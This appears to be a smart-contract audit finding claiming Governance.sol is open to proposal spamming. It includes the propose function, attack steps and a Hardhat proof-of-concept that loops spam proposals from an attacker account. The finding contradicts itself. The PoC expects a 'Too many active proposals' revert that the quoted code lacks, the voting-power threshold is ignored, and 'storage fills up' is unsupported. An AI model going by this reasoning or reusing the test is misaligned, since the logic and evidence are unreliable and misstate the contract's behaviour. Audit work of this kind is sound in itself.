Summary
The Governance.sol contract allows users with sufficient voting power to create proposals. However, it lacks rate-limiting mechanisms or proposal expiration conditions, making it vulnerable to proposal spamming.
Vulnerability Details
The _proposalCount variable increments indefinitely without any restriction.
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description,
ProposalType proposalType
) external override returns (uint256) {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
if (proposerVotes < proposalThreshold) {
revert InsufficientProposerVotes(msg.sender, proposerVotes, proposalThreshold, "Below threshold");
}
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidProposalLength(targets.length, values.length, calldatas.length);
}
uint256 proposalId = _proposalCount++;
uint256 startTime = block.timestamp + votingDelay;
uint256 endTime = startTime + votingPeriod;
_proposals[proposalId] = ProposalCore({
id: proposalId,
proposer: msg.sender,
proposalType: proposalType,
startTime: startTime,
endTime: endTime,
executed: false,
canceled: false,
descriptionHash: keccak256(bytes(description)),
targets: targets,
values: values,
calldatas: calldatas
});
_proposalData[proposalId] = ProposalData(targets, values, calldatas, description);
emit ProposalCreated(proposalId, msg.sender, targets, values, calldatas, description, proposalType, startTime, endTime, proposerVotes);
return proposalId;
}
The Governance.sol contract is vulnerable to proposal spamming because:
No rate limits on proposal creation.
No staking or cost for creating proposals.
No cap on the number of active proposals.
This allows a malicious user to flood the governance system with proposals, blocking legitimate proposals and increasing gas costs.
Step-by-Step Attack
Attacker identifies the unrestricted proposal submission vulnerability.
They create an automated bot that submits proposals continuously.
Governance storage fills up, preventing legitimate users from submitting proposals.
Other users see increased gas costs and failed transactions.
Governance system is effectively frozen, blocking security upgrades or rule changes.
If governance controls emergency fund distribution, attackers could prevent fund releases.
Impact
-
Denial-of-Service (DoS) on Governance System
-
Governance Stagnation
-
High Gas Costs for Users & the Protocol
-
No Effective Governance Decisions
If only spam proposals exist, no meaningful governance actions can be taken.
Attackers can control governance flow without directly harming funds.
Proof of Concept
No limit on active proposals
describe(" Proposal Spamming Attack", function () {
this.timeout(150000);
const MAX_SPAM_PROPOSALS = 50;
let attacker;
beforeEach(async () => {
[owner, user1, user2, attacker, ...users] = await ethers.getSigners();
await veToken.mock_setInitialVotingPower(attacker.address, ethers.parseEther("200000"));
});
it("should prevent new proposals after governance is spammed", async () => {
console.log("Attacker begins spamming proposals...");
let lastProposalId;
for (let i = 0; i < MAX_SPAM_PROPOSALS; i++) {
const targets = [await testTarget.getAddress()];
const values = [0];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [42])];
const description = `Spam Proposal ${i + 1}`;
const tx = await governance.connect(attacker).propose(
targets,
values,
calldatas,
description,
0
);
const receipt = await tx.wait();
lastProposalId = receipt.logs[0].args.proposalId;
console.log(` Spam Proposal ${i + 1} submitted (ID: ${lastProposalId})`);
}
console.log(" Attacker successfully spams the governance system!");
console.log(" No more proposals can be created! Governance is frozen!");
console.log("Attempting to submit a legitimate proposal...");
const targets = [await testTarget.getAddress()];
const values = [0];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [99])];
const description = "Legitimate Proposal";
await expect(governance.connect(user1).propose(
targets,
values,
calldatas,
description,
0
)).to.be.revertedWith("Too many active proposals");
console.log(" Legitimate proposal failed: Governance is frozen due to spam attack!");
});
});
Tools Used
Manual Review
Recommendations
Implement Rate Limits – Require a cooldown period between proposals.
Enforce veRAAC Token Staking – Users should stake veRAAC to create a proposal.
Cap Active Proposals – Limit the number of simultaneous active proposals.
Add Gas Cost Enforcement – Require a minimum gas deposit for submitting proposals.